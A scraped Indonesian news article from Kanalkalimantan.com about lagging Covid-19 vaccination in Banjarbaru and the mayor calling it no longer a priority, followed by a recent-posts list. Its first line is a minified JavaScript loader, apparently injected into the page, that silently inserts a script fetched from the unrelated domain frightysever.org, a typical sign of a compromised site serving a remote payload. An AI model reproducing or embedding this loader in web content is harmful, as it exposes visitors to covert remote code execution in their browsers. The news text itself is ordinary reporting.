(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Jungkir Balik Vaksinasi Covid-19 di Banjarbaru, Wali Kota Sebut Bukan Prioritas Lagi


KANALKALIMANTAN.COM, BANJARBARU – Semenjak pemberlakukan vaksinasi Covid-19 hingga saat ini, masyarakat Kota Banjarbaru masih puluhan ribu yang belum ikut vaksinasi Covid-19 untuk dosis pertama.

Melihat dari data perolehan vaksinasi Covid-19 milik Dinas Kesehatan (Dinkes) Kota Banjarbaru setidaknya ada 24.166 orang yang belum melakukan vaksinasi hingga saat ini.

Sampai Sabtu 4 Februari 2023, cakupan vaksinasi Covid-19 pada usia 6 – 17 tahun (dosis 1 dan 2) dan 18 tahun keatas (dosis 1, 2, 3, dan 4) di Kota Banjarbaru adalah dosis 1 (197.944 orang atau 89,12%), dosis 2 (179.900 atau 81,00%), dosis 3 (88.248 atau 51,45%), dosis 4 (2.124 atau 1,24%).

Sementara warga Kota Banjarbaru usia 6 tahun keatas yang belum ikut dosis 2 vaksinasi Covid-19 sampai Sabtu 4 Februari 2023 sebanyak 42.199.

 

Baca juga: Datangi Kantor Gubernur Kalsel, Warga Kotabaru Ngadu Soal Tambang-Jembatan-Penyerobotan Tanah

Berbagai upaya dilakukan Dinkes Banjarbaru untuk menggait masyarakat yang ingin bervaksin, dari melakukan vaksinasi di setiap hari Minggu hingga menyebar poster tempat vaksinasi yang tersedia di Kota Banjarbaru.

Wali Kota Banjarbaru M Aditya Mufti Ariffin menyebutkan dengan angka Covid-19 mengalami penurunan, dirinya mengharapkan ada pertimbangan terkait vaksinasi ini.

“Jadi tidak menjadi prioritas untuk kami (Pemko Banjarbaru),” sebutnya beberapa waktu lalu.

Baca juga: Lansia Jadi Korban, 5 Rumah Hangus Terbakar di Banjarmasin

Ada beberapa pertimbangan ujarnya, berdasarkan data jumlah vaksin yang diterima di Banjarbaru sangat berkurang. Sehingga untuk mengejar 20 ribu orang yang belum vaksin dengan keadaan sekarang sangatlah tidak memungkinkan.

“Yang jelas tidak seperti Covid yang saat itu tinggi-tingginya dengan pelaksanaan vaksin itu,” ujarnya.

Bahkan, kata Aditya, sekarang ada kebijakan dari Presiden terkait pencabutan PPKM berdasarkan penurunan angka Covid-19 di Indonesia, masyarakat tidak diwajibkan menggunakan masker dan lain-lain. Sehingga vaksinasi Covid-19 tidak digencarkan seperti dulu lagi.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

15 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

18 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

22 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

22 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

22 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

24 jam ago

This website uses cookies.